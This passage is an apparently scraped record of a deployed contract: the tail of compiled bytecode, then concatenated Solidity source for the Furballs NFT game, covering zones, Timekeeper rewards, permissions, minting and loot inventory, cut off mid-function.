2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561227f5761227f612364565b500190565b6000826122935761229361237a565b500490565b60008160001904831182151516156122b2576122b2612364565b500290565b6000828210156122c9576122c9612364565b500390565b60005b838110156122e95781810151838201526020016122d1565b83811115610f735750506000910152565b600181811c9082168061230e57607f821691505b6020821081141561232f57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561234957612349612364565b5060010190565b60008261235f5761235f61237a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610b1957600080fdfea2646970667358221220966ad303912a7caa8a667c26592a379a838fefde45840a2eb2311e74a724e54d64736f6c63430008070033
[ 5, 12 ]
0xf37B3ed28A2E1cAE09A8440AB94240287666a801
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../l2/L2Lib.sol"; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; import "../utils/MetaData.sol"; import "./ZoneDefinition.sol"; /// @title Zones /// @author LFG Gaming LLC /// @notice Zone management (overrides) for Furballs contract Zones is FurProxy { // Tightly packed last-reward data mapping(uint256 => FurLib.ZoneReward) public zoneRewards; // Zone Number => Zone mapping(uint32 => IZone) public zoneMap; constructor(address furballsAddress) FurProxy(furballsAddress) { } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice The new instant function for play + move function play(FurLib.SnackMove[] calldata snackMoves, uint32 zone) external { furballs.engine().snackAndMove(snackMoves, zone, msg.sender); } /// @notice Check if Timekeeper is enabled for a given tokenId /// @dev TK=enabled by defauld (mode == 0); other modes (?); bools are expensive to store thus modes function isTimekeeperEnabled(uint256 tokenId) external view returns(bool) { return zoneRewards[tokenId].mode != 1; } /// @notice Allow players to disable TK on their furballs function disableTimekeeper(uint256[] calldata tokenIds) external { bool isJob = _allowedJob(msg.sender); for (uint i=0; i<tokenIds.length; i++) { require(isJob || furballs.ownerOf(tokenIds[i]) == msg.sender, "OWN"); require(zoneRewards[tokenIds[i]].mode == 0, "MODE"); zoneRewards[tokenIds[i]].mode = 1; zoneRewards[tokenIds[i]].timestamp = uint64(block.timestamp); } } /// @notice Allow players to disable TK on their furballs /// @dev timestamp is not set because TK can read the furball last action, /// so it preserves more data and reduces gas to not keep track! function enableTimekeeper(uint256[] calldata tokenIds) external { bool isJob = _allowedJob(msg.sender); for (uint i=0; i<tokenIds.length; i++) { require(isJob || furballs.ownerOf(tokenIds[i]) == msg.sender, "OWN"); require(zoneRewards[tokenIds[i]].mode != 0, "MODE"); zoneRewards[tokenIds[i]].mode = 0; } } /// @notice Get the full reward struct function getZoneReward(uint256 tokenId) external view returns(FurLib.ZoneReward memory) { return zoneRewards[tokenId]; } /// @notice Pre-computed rarity for Furballs function getFurballZoneReward(uint32 furballNum) external view returns(FurLib.ZoneReward memory) { return zoneRewards[furballs.tokenByIndex(furballNum - 1)]; } /// @notice Get contract address for a zone definition function getZoneAddress(uint32 zoneNum) external view returns(address) { return address(zoneMap[zoneNum]); } /// @notice Public display (OpenSea, etc.) function getName(uint32 zoneNum) public view returns(string memory) { return _zoneName(zoneNum); } /// @notice Zones can have unique background SVGs function render(uint256 tokenId) external view returns(string memory) { uint zoneNum = zoneRewards[tokenId].zoneOffset; if (zoneNum == 0) return ""; IZone zone = zoneMap[uint32(zoneNum - 1)]; return address(zone) == address(0) ? "" : zone.background(); } /// @notice OpenSea metadata function attributesMetadata( FurLib.FurballStats calldata stats, uint256 tokenId, uint32 maxExperience ) external view returns(bytes memory) { FurLib.Furball memory furball = stats.definition; uint level = furball.level; uint32 zoneNum = L2Lib.getZoneId(zoneRewards[tokenId].zoneOffset, furball.zone); if (zoneNum < 0x10000) { // When in explore, we check if TK has accrued more experience for this furball FurLib.ZoneReward memory last = zoneRewards[tokenId]; if (last.timestamp > furball.last) { level = FurLib.expToLevel(furball.experience + zoneRewards[tokenId].experience, maxExperience); } } return abi.encodePacked( MetaData.traitValue("Level", level), MetaData.trait("Zone", _zoneName(zoneNum)) ); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice Pre-compute some stats function computeStats(uint32 furballNum, uint16 baseRarity) external gameAdmin { _computeStats(furballNum, baseRarity); } /// @notice Update the timestamps on Furballs function timestampModes( uint256[] calldata tokenIds, uint64[] calldata lastTimestamps, uint8[] calldata modes ) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].timestamp = lastTimestamps[i]; zoneRewards[tokenIds[i]].mode = modes[i]; } } /// @notice Update the modes function setModes( uint256[] calldata tokenIds, uint8[] calldata modes ) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].mode = modes[i]; } } /// @notice Update the timestamps on Furballs function setTimestamps( uint256[] calldata tokenIds, uint64[] calldata lastTimestamps ) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].timestamp = lastTimestamps[i]; } } /// @notice When a furball earns FUR via Timekeeper function addFur(uint256 tokenId, uint32 fur) external gameAdmin { zoneRewards[tokenId].timestamp = uint64(block.timestamp); zoneRewards[tokenId].fur += fur; } /// @notice When a furball earns EXP via Timekeeper function addExp(uint256 tokenId, uint32 exp) external gameAdmin { zoneRewards[tokenId].timestamp = uint64(block.timestamp); zoneRewards[tokenId].experience += exp; } /// @notice Bulk EXP option for efficiency function addExps(uint256[] calldata tokenIds, uint32[] calldata exps) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { zoneRewards[tokenIds[i]].timestamp = uint64(block.timestamp); zoneRewards[tokenIds[i]].experience = exps[i]; } } /// @notice Define the attributes of a zone function defineZone(address zoneAddr) external gameAdmin { IZone zone = IZone(zoneAddr); zoneMap[uint32(zone.number())] = zone; } /// @notice Hook for zone change function enterZone(uint256 tokenId, uint32 zone) external gameAdmin { _enterZone(tokenId, zone); } /// @notice Allow TK to override a zone function overrideZone(uint256[] calldata tokenIds, uint32 zone) external gameAdmin { for (uint i=0; i<tokenIds.length; i++) { _enterZone(tokenIds[i], zone); } } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- function _computeStats(uint32 furballNum, uint16 rarity) internal { uint256 tokenId = furballs.tokenByIndex(furballNum - 1); if (uint8(tokenId) == 0) { if (FurLib.extractBytes(tokenId, 5, 1) == 6) rarity += 10; // Furdenza body if (FurLib.extractBytes(tokenId, 11, 1) == 12) rarity += 10; // Furdenza hoodie } zoneRewards[tokenId].rarity = rarity; } /// @notice When a furball changes zone, we need to clear the zoneRewards timestamp function _enterZone(uint256 tokenId, uint32 zoneNum) internal { if (zoneRewards[tokenId].timestamp != 0) { zoneRewards[tokenId].timestamp = 0; zoneRewards[tokenId].experience = 0; zoneRewards[tokenId].fur = 0; } zoneRewards[tokenId].zoneOffset = (zoneNum + 1); if (zoneNum == 0 || zoneNum == 0x10000) return; // Additional requirement logic may occur in the zone IZone zone = zoneMap[zoneNum]; if (address(zone) != address(0)) zone.enterZone(tokenId); } /// @notice Public display (OpenSea, etc.) function _zoneName(uint32 zoneNum) internal view returns(string memory) { if (zoneNum == 0) return "Explore"; if (zoneNum == 0x10000) return "Battle"; IZone zone = zoneMap[zoneNum]; return address(zone) == address(0) ? "?" : zone.name(); } function _allowedJob(address sender) internal view returns(bool) { return sender == furballs.engine().l2Proxy() || _permissionCheck(sender) >= FurLib.PERMISSION_ADMIN; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "../utils/FurLib.sol"; /// @title L2Lib /// @author LFG Gaming LLC /// @notice Utilities for L2 library L2Lib { // Payload for EIP-712 signature struct OAuthToken { address owner; uint32 access; uint64 deadline; bytes signature; } /// Loot changes on a token for resolve function struct LootResolution { uint256 tokenId; uint128 itemGained; uint128 itemLost; } /// Everything that can happen to a Furball in a single "round" struct RoundResolution { uint256 tokenId; uint32 expGained; // uint8 zoneListNum; uint128[] items; uint64[] snackStacks; } // Signed message giving access to a set of expectations & constraints struct TimekeeperRequest { RoundResolution[] rounds;// What happened; passed by server. address sender; uint32 tickets; // Tickets to be spent uint32 furGained; // How much FUR the player expects uint32 furSpent; // How much FUR the player spent uint32 furReal; // The ACTUAL FUR the player earned (must be >= furGained) uint8 mintEdition; // Mint a furball from this edition uint8 mintCount; // Mint this many Furballs uint64 deadline; // When it is good until // uint256[] movements; // Moves made by furballs } // Track the results of a TimekeeperAuthorization struct TimekeeperResult { uint64 timestamp; uint8 errorCode; } /// @notice unpacks the override (offset) function getZoneId(uint32 offset, uint32 defaultValue) internal pure returns(uint32) { return offset > 0 ? (offset - 1) : defaultValue; } // // Play = collect / move zones // struct ActionPlay { // uint256[] tokenIds; // uint32 zone; // } // // Snack = FurLib.Feeding // // Loot (upgrade) // struct ActionUpgrade { // uint256 tokenId; // uint128 lootId; // uint8 chances; // } // // Signature package that accompanies moves // struct MoveSig { // bytes signature; // uint64 deadline; // address actor; // } // // Signature + play actions // struct SignedPlayMove { // bytes signature; // uint64 deadline; // // address actor; // uint32 zone; // uint256[] tokenIds; // } // // What does a player earn from pool? // struct PoolReward { // address actor; // uint32 fur; // } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /// @title FurLib /// @author LFG Gaming LLC /// @notice Utilities for Furballs /// @dev Each of the structs are designed to fit within 256 library FurLib { // Metadata about a wallet. struct Account { uint64 created; // First time this account received a furball uint32 numFurballs; // Number of furballs it currently holds uint32 maxFurballs; // Max it has ever held uint16 maxLevel; // Max level of any furball it currently holds uint16 reputation; // Value assigned by moderators to boost standing uint16 standing; // Computed current standing uint8 permissions; // 0 = user, 1 = moderator, 2 = admin, 3 = owner } // Key data structure given to clients for high-level furball access (furballs.stats) struct FurballStats { uint16 expRate; uint16 furRate; RewardModifiers modifiers; Furball definition; Snack[] snacks; } // The response from a single play session indicating rewards struct Rewards { uint16 levels; uint32 experience; uint32 fur; uint128 loot; } // Stored data structure in Furballs master contract which keeps track of mutable data struct Furball { uint32 number; // Overall number, starting with 1 uint16 count; // Index within the collection uint16 rarity; // Total rarity score for later boosts uint32 experience; // EXP uint32 zone; // When exploring, the zone number. Otherwise, battling. uint16 level; // Current EXP => level; can change based on level up during collect uint16 weight; // Total weight (number of items in inventory) uint64 birth; // Timestamp of furball creation uint64 trade; // Timestamp of last furball trading wallets uint64 last; // Timestamp of last action (battle/explore) uint32 moves; // The size of the collection array for this furball, which is move num. uint256[] inventory; // IDs of items in inventory } // A runtime-calculated set of properties that can affect Furball production during collect() struct RewardModifiers { uint16 expPercent; uint16 furPercent; uint16 luckPercent; uint16 happinessPoints; uint16 energyPoints; uint32 zone; } // For sale via loot engine. struct Snack { uint32 snackId; // Unique ID uint32 duration; // How long it lasts, !expressed in intervals! uint16 furCost; // How much FUR uint16 happiness; // +happiness bost points uint16 energy; // +energy boost points uint16 count; // How many in stack? uint64 fed; // When was it fed (if it is active)? } // Input to the feed() function for multi-play struct Feeding { uint256 tokenId; uint32 snackId; uint16 count; } // Internal tracker for a furball when gaining in the zone struct ZoneReward { uint8 mode; // 1==tk disabled uint16 rarity; uint32 zoneOffset; // One-indexed to indicate presence :( uint32 fur; uint32 experience; uint64 timestamp; } // Calldata for a Furball which gets a snack while moving struct SnackMove { uint256 tokenId; uint32[] snackIds; } uint32 public constant Max32 = type(uint32).max; uint8 public constant PERMISSION_USER = 1; uint8 public constant PERMISSION_MODERATOR = 2; uint8 public constant PERMISSION_ADMIN = 4; uint8 public constant PERMISSION_OWNER = 5; uint8 public constant PERMISSION_CONTRACT = 0x10; uint32 public constant EXP_PER_INTERVAL = 500; uint32 public constant FUR_PER_INTERVAL = 100; uint8 public constant LOOT_BYTE_STAT = 1; uint8 public constant LOOT_BYTE_RARITY = 2; uint8 public constant SNACK_BYTE_ENERGY = 0; uint8 public constant SNACK_BYTE_HAPPINESS = 2; uint256 public constant OnePercent = 1000; uint256 public constant OneHundredPercent = 100000; /// @notice Shortcut for equations that saves gas /// @dev The expression (0x100 ** byteNum) is expensive; this covers byte packing for editions. function bytePower(uint8 byteNum) internal pure returns (uint256) { if (byteNum == 0) return 0x1; if (byteNum == 1) return 0x100; if (byteNum == 2) return 0x10000; if (byteNum == 3) return 0x1000000; if (byteNum == 4) return 0x100000000; if (byteNum == 5) return 0x10000000000; if (byteNum == 6) return 0x1000000000000; if (byteNum == 7) return 0x100000000000000; if (byteNum == 8) return 0x10000000000000000; if (byteNum == 9) return 0x1000000000000000000; if (byteNum == 10) return 0x100000000000000000000; if (byteNum == 11) return 0x10000000000000000000000; if (byteNum == 12) return 0x1000000000000000000000000; return (0x100 ** byteNum); } /// @notice Helper to get a number of bytes from a value function extractBytes(uint value, uint8 startAt, uint8 numBytes) internal pure returns (uint) { return (value / bytePower(startAt)) % bytePower(numBytes); } /// @notice Converts exp into a sqrt-able number. function expToLevel(uint32 exp, uint32 maxExp) internal pure returns(uint256) { exp = exp > maxExp ? maxExp : exp; return sqrt(exp < 100 ? 0 : ((exp + exp - 100) / 100)); } /// @notice Simple square root function using the Babylonian method function sqrt(uint32 x) internal pure returns(uint256) { if (x < 1) return 0; if (x < 4) return 1; uint z = (x + 1) / 2; uint y = x; while (z < y) { y = z; z = (x / z + z) / 2; } return y; } /// @notice Convert bytes into a hex str, e.g., an address str function bytesHex(bytes memory data) internal pure returns(string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(data.length * 2); for (uint i = 0; i < data.length; i++) { str[i*2] = alphabet[uint(uint8(data[i] >> 4))]; str[1 + i*2] = alphabet[uint(uint8(data[i] & 0x0f))]; } return string(str); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; string memory table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; uint256 encodedLen = 4 * ((data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := data let endPtr := add(dataPtr, mload(data)) let resultPtr := add(result, 32) for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))) ) resultPtr := add(resultPtr, 1) } switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../Furballs.sol"; import "./FurLib.sol"; /// @title FurProxy /// @author LFG Gaming LLC /// @notice Manages a link from a sub-contract back to the master Furballs contract /// @dev Provides permissions by means of proxy abstract contract FurProxy { Furballs public furballs; constructor(address furballsAddress) { furballs = Furballs(furballsAddress); } /// @notice Allow upgrading contract links function setFurballs(address addr) external onlyOwner { furballs = Furballs(addr); } /// @notice Proxied from permissions lookup modifier onlyOwner() { require(_permissionCheck(msg.sender) >= FurLib.PERMISSION_OWNER, "OWN"); _; } /// @notice Permission modifier for moderators (covers owner) modifier gameAdmin() { require(_permissionCheck(msg.sender) >= FurLib.PERMISSION_ADMIN, "GAME"); _; } /// @notice Permission modifier for moderators (covers admin) modifier gameModerators() { require(_permissionCheck(msg.sender) >= FurLib.PERMISSION_MODERATOR, "MOD"); _; } /// @notice Generalized permissions flag for a given address function _permissionCheck(address addr) internal view returns (uint) { if(addr != address(0)) { uint256 size; assembly { size := extcodesize(addr) } if (addr == tx.origin && size == 0) { return _userPermissions(addr); } } return _contractPermissions(addr); } /// @notice Permission lookup (for loot engine approveSender) function _permissions(address addr) internal view returns (uint8) { // User permissions will return "zero" quickly if this didn't come from a wallet. if (addr == address(0)) return 0; uint256 size; assembly { size := extcodesize(addr) } if (size != 0) return 0; return _userPermissions(addr); } function _contractPermissions(address addr) internal view returns (uint) { if (addr == address(furballs) || addr == address(furballs.engine()) || addr == address(furballs.furgreement()) || addr == address(furballs.governance()) || addr == address(furballs.fur()) || addr == address(furballs.engine().zones()) ) { return FurLib.PERMISSION_CONTRACT; } return 0; } function _userPermissions(address addr) internal view returns (uint8) { // Invalid addresses include contracts an non-wallet interactions, which have no permissions if (addr == address(0)) return 0; if (addr == furballs.owner()) return FurLib.PERMISSION_OWNER; if (furballs.isAdmin(addr)) return FurLib.PERMISSION_ADMIN; if (furballs.isModerator(addr)) return FurLib.PERMISSION_MODERATOR; return FurLib.PERMISSION_USER; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title MetaData /// @author LFG Gaming LLC /// @notice Utilities for creating MetaData (e.g., OpenSea) library MetaData { function trait(string memory traitType, string memory value) internal pure returns (bytes memory) { return abi.encodePacked('{"trait_type": "', traitType,'", "value": "', value, '"}, '); } function traitNumberDisplay( string memory traitType, string memory displayType, uint256 value ) internal pure returns (bytes memory) { return abi.encodePacked( '{"trait_type": "', traitType, bytes(displayType).length > 0 ? '", "display_type": "' : '', displayType, '", "value": ', FurLib.uint2str(value), '}, ' ); } function traitValue(string memory traitType, uint256 value) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "", value); } /// @notice Convert a modifier percentage (120%) into a metadata +20% boost function traitBoost( string memory traitType, uint256 percent ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "boost_percentage", percent > 100 ? (percent - 100) : 0); } function traitNumber( string memory traitType, uint256 value ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "number", value); } function traitDate( string memory traitType, uint256 value ) internal pure returns (bytes memory) { return traitNumberDisplay(traitType, "date", value); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./Zones.sol"; import "../utils/FurProxy.sol"; /// @title IZone /// @author LFG Gaming LLC /// @notice The loot engine is patchable by replacing the Furballs' engine with a new version interface IZone is IERC165 { function number() external view returns(uint); function name() external view returns(string memory); function background() external view returns(string memory); function enterZone(uint256 tokenId) external; } contract ZoneDefinition is ERC165, IZone, FurProxy { uint override public number; string override public name; string override public background; constructor(address furballsAddress, uint32 zoneNum) FurProxy(furballsAddress) { number = zoneNum; } function update(string calldata zoneName, string calldata zoneBk) external gameAdmin { name = zoneName; background = zoneBk; } /// @notice A zone can hook a furball's entry... function enterZone(uint256 tokenId) external override gameAdmin { // Nothing to see here. } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IZone).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; // import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./editions/IFurballEdition.sol"; import "./engines/ILootEngine.sol"; import "./engines/EngineA.sol"; import "./utils/FurLib.sol"; import "./utils/FurDefs.sol"; import "./utils/FurProxy.sol"; import "./utils/Moderated.sol"; import "./utils/Governance.sol"; import "./Fur.sol"; import "./Furgreement.sol"; // import "hardhat/console.sol"; /// @title Furballs /// @author LFG Gaming LLC /// @notice Mints Furballs on the Ethereum blockchain /// @dev https://furballs.com/contract contract Furballs is ERC721Enumerable, Moderated { Fur public fur; IFurballEdition[] public editions; ILootEngine public engine; Governance public governance; Furgreement public furgreement; // tokenId => furball data mapping(uint256 => FurLib.Furball) public furballs; // tokenId => all rewards assigned to that Furball mapping(uint256 => FurLib.Rewards) public collect; // The amount of time over which FUR/EXP is accrued (usually 3600=>1hour); used with test servers uint256 public intervalDuration; // When play/collect runs, returns rewards event Collection(uint256 tokenId, uint256 responseId); // Inventory change event event Inventory(uint256 tokenId, uint128 lootId, uint16 dropped); constructor(uint256 interval) ERC721("Furballs", "FBL") { intervalDuration = interval; } // ----------------------------------------------------------------------------------------------- // Public transactions // ----------------------------------------------------------------------------------------------- /// @notice Mints a new furball from the current edition (if there are any remaining) /// @dev Limits and fees are set by IFurballEdition function mint(address[] memory to, uint8 editionIndex, address actor) external { (address sender, uint8 permissions) = _approvedSender(actor); require(to.length == 1 || permissions >= FurLib.PERMISSION_MODERATOR, "MULT"); for (uint8 i=0; i<to.length; i++) { fur.purchaseMint(sender, permissions, to[i], editions[editionIndex]); _spawn(to[i], editionIndex, 0); } } /// @notice Feeds the furball a snack /// @dev Delegates logic to fur function feed(FurLib.Feeding[] memory feedings, address actor) external { (address sender, uint8 permissions) = _approvedSender(actor); uint256 len = feedings.length; for (uint256 i=0; i<len; i++) { fur.purchaseSnack(sender, permissions, feedings[i].tokenId, feedings[i].snackId, feedings[i].count); } } /// @notice Begins exploration mode with the given furballs /// @dev Multiple furballs accepted at once to reduce gas fees /// @param tokenIds The furballs which should start exploring /// @param zone The explore zone (otherwize, zero for battle mode) function playMany(uint256[] memory tokenIds, uint32 zone, address actor) external { (address sender, uint8 permissions) = _approvedSender(actor); for (uint256 i=0; i<tokenIds.length; i++) { // Run reward collection _collect(tokenIds[i], sender, permissions); // Set new zone (if allowed; enterZone may throw) furballs[tokenIds[i]].zone = uint32(engine.enterZone(tokenIds[i], zone, tokenIds)); } } /// @notice Re-dropping loot allows players to pay $FUR to re-roll an inventory slot /// @param tokenId The furball in question /// @param lootId The lootId in its inventory to re-roll function upgrade( uint256 tokenId, uint128 lootId, uint8 chances, address actor ) external { // Attempt upgrade (random chance). (address sender, uint8 permissions) = _approvedSender(actor); uint128 up = fur.purchaseUpgrade(_baseModifiers(tokenId), sender, permissions, tokenId, lootId, chances); if (up != 0) { _drop(tokenId, lootId, 1); _pickup(tokenId, up); } } /// @notice The LootEngine can directly send loot to a furball! /// @dev This allows for gameplay expansion, i.e., new game modes /// @param tokenId The furball to gain the loot /// @param lootId The loot ID being sent function pickup(uint256 tokenId, uint128 lootId) external gameAdmin { _pickup(tokenId, lootId); } /// @notice The LootEngine can cause a furball to drop loot! /// @dev This allows for gameplay expansion, i.e., new game modes /// @param tokenId The furball /// @param lootId The item to drop /// @param count the number of that item to drop function drop(uint256 tokenId, uint128 lootId, uint8 count) external gameAdmin { _drop(tokenId, lootId, count); } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- function _slotNum(uint256 tokenId, uint128 lootId) internal view returns(uint256) { for (uint8 i=0; i<furballs[tokenId].inventory.length; i++) { if (furballs[tokenId].inventory[i] / 256 == lootId) { return i + 1; } } return 0; } /// @notice Remove an inventory item from a furball function _drop(uint256 tokenId, uint128 lootId, uint8 count) internal { uint256 slot = _slotNum(tokenId, lootId); require(slot > 0 && slot <= uint32(furballs[tokenId].inventory.length), "SLOT"); slot -= 1; uint8 stackSize = uint8(furballs[tokenId].inventory[slot] % 0x100); if (count == 0 || count >= stackSize) { // Drop entire stack uint16 len = uint16(furballs[tokenId].inventory.length); if (len > 1) { furballs[tokenId].inventory[slot] = furballs[tokenId].inventory[len - 1]; } furballs[tokenId].inventory.pop(); count = stackSize; } else { stackSize -= count; furballs[tokenId].inventory[slot] = uint256(lootId) * 0x100 + stackSize; } furballs[tokenId].weight -= count * engine.weightOf(lootId); emit Inventory(tokenId, lootId, count); } /// @notice Internal implementation of adding a single known loot item to a Furball function _pickup(uint256 tokenId, uint128 lootId) internal { require(lootId > 0, "LOOT"); uint256 slotNum = _slotNum(tokenId, lootId); uint8 stackSize = 1; if (slotNum == 0) { furballs[tokenId].inventory.push(uint256(lootId) * 0x100 + stackSize); } else { stackSize += uint8(furballs[tokenId].inventory[slotNum - 1] % 0x100); require(stackSize < 0x100, "STACK"); furballs[tokenId].inventory[slotNum - 1] = uint256(lootId) * 0x100 + stackSize; } furballs[tokenId].weight += engine.weightOf(lootId); emit Inventory(tokenId, lootId, 0); } /// @notice Calculates full reward modifier stack for a furball in a zone. function _rewardModifiers( FurLib.Furball memory fb, uint256 tokenId, address ownerContext, uint256 snackData ) internal view returns(FurLib.RewardModifiers memory reward) { uint16 energy = uint16(FurLib.extractBytes(snackData, FurLib.SNACK_BYTE_ENERGY, 2)); uint16 happiness = uint16(FurLib.extractBytes(snackData, FurLib.SNACK_BYTE_HAPPINESS, 2)); bool context = ownerContext != address(0); uint32 editionIndex = uint32(tokenId % 0x100); reward = FurLib.RewardModifiers( uint16(100 + fb.rarity), uint16(100 + fb.rarity - (editionIndex < 4 ? (editionIndex * 20) : 80)), uint16(100), happiness, energy, context ? fb.zone : 0 ); // Engine will consider inventory and team size in zone (17k) return engine.modifyReward( fb, editions[editionIndex].modifyReward(reward, tokenId), governance.getAccount(ownerContext), context ); } /// @notice Common version of _rewardModifiers which excludes contextual data function _baseModifiers(uint256 tokenId) internal view returns(FurLib.RewardModifiers memory) { return _rewardModifiers(furballs[tokenId], tokenId, address(0), 0); } /// @notice Ends the current explore/battle and dispenses rewards /// @param tokenId The furball function _collect(uint256 tokenId, address sender, uint8 permissions) internal { FurLib.Furball memory furball = furballs[tokenId]; address owner = ownerOf(tokenId); // The engine is allowed to force furballs into exploration mode // This allows it to end a battle early, which will be necessary in PvP require(owner == sender || permissions >= FurLib.PERMISSION_ADMIN, "OWN"); // Scale duration to the time the edition has been live if (furball.last == 0) { uint64 launchedAt = uint64(editions[tokenId % 0x100].liveAt()); require(launchedAt > 0 && launchedAt < uint64(block.timestamp), "PRE"); furball.last = furball.birth > launchedAt ? furball.birth : launchedAt; } // Calculate modifiers to be used with this collection FurLib.RewardModifiers memory mods = _rewardModifiers(furball, tokenId, owner, fur.cleanSnacks(tokenId)); // Reset the collection for this furball uint32 duration = uint32(uint64(block.timestamp) - furball.last); collect[tokenId].fur = 0; collect[tokenId].experience = 0; collect[tokenId].levels = 0; if (mods.zone >= 0x10000) { // Battle zones earn FUR and assign to the owner uint32 f = uint32(_calculateReward(duration, FurLib.FUR_PER_INTERVAL, mods.furPercent)); if (f > 0) { fur.earn(owner, f); collect[tokenId].fur = f; } } else { // Explore zones earn EXP... uint32 exp = uint32(_calculateReward(duration, FurLib.EXP_PER_INTERVAL, mods.expPercent)); (uint32 totalExp, uint16 levels) = engine.onExperience(furballs[tokenId], owner, exp); collect[tokenId].experience = exp; collect[tokenId].levels = levels; furballs[tokenId].level += levels; furballs[tokenId].experience = totalExp; } // Generate loot and assign to furball uint32 interval = uint32(intervalDuration); uint128 lootId = engine.dropLoot(duration / interval, mods); collect[tokenId].loot = lootId; if (lootId > 0) { _pickup(tokenId, lootId); } // Timestamp the last interaction for next cycle. furballs[tokenId].last = uint64(block.timestamp); // Emit the reward ID for frontend uint32 moves = furball.moves + 1; furballs[tokenId].moves = moves; emit Collection(tokenId, moves); } /// @notice Mints a new furball /// @dev Recursive function; generates randomization seed for the edition /// @param to The recipient of the furball /// @param nonce A recursive counter to prevent infinite loops function _spawn(address to, uint8 editionIndex, uint8 nonce) internal { require(nonce < 10, "SUPPLY"); require(editionIndex < editions.length, "ED"); IFurballEdition edition = editions[editionIndex]; // Generate a random furball tokenId; if it fails to be unique, recurse! (uint256 tokenId, uint16 rarity) = edition.spawn(); tokenId += editionIndex; if (_exists(tokenId)) return _spawn(to, editionIndex, nonce + 1); // Ensure that this wallet has not exceeded its per-edition mint-cap uint32 owned = edition.minted(to); require(owned < edition.maxMintable(to), "LIMIT"); // Check the current edition's constraints (caller should have checked costs) uint16 cnt = edition.count(); require(cnt < edition.maxCount(), "MAX"); // Initialize the memory struct that represents the furball furballs[tokenId].number = uint32(totalSupply() + 1); furballs[tokenId].count = cnt; furballs[tokenId].rarity = rarity; furballs[tokenId].birth = uint64(block.timestamp); // Finally, mint the token and increment internal counters _mint(to, tokenId); edition.addCount(to, 1); } /// @notice Happens each time a furball changes wallets /// @dev Keeps track of the furball timestamp function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); // Update internal data states furballs[tokenId].trade = uint64(block.timestamp); // Delegate other logic to the engine engine.onTrade(furballs[tokenId], from, to); } // ----------------------------------------------------------------------------------------------- // Game Engine & Moderation // ----------------------------------------------------------------------------------------------- function stats(uint256 tokenId, bool contextual) public view returns(FurLib.FurballStats memory) { // Base stats are calculated without team size so this doesn't effect public metadata FurLib.Furball memory furball = furballs[tokenId]; FurLib.RewardModifiers memory mods = _rewardModifiers( furball, tokenId, contextual ? ownerOf(tokenId) : address(0), contextual ? fur.snackEffects(tokenId) : 0 ); return FurLib.FurballStats( uint16(_calculateReward(intervalDuration, FurLib.EXP_PER_INTERVAL, mods.expPercent)), uint16(_calculateReward(intervalDuration, FurLib.FUR_PER_INTERVAL, mods.furPercent)), mods, furball, fur.snacks(tokenId) ); } /// @notice This utility function is useful because it force-casts arguments to uint256 function _calculateReward( uint256 duration, uint256 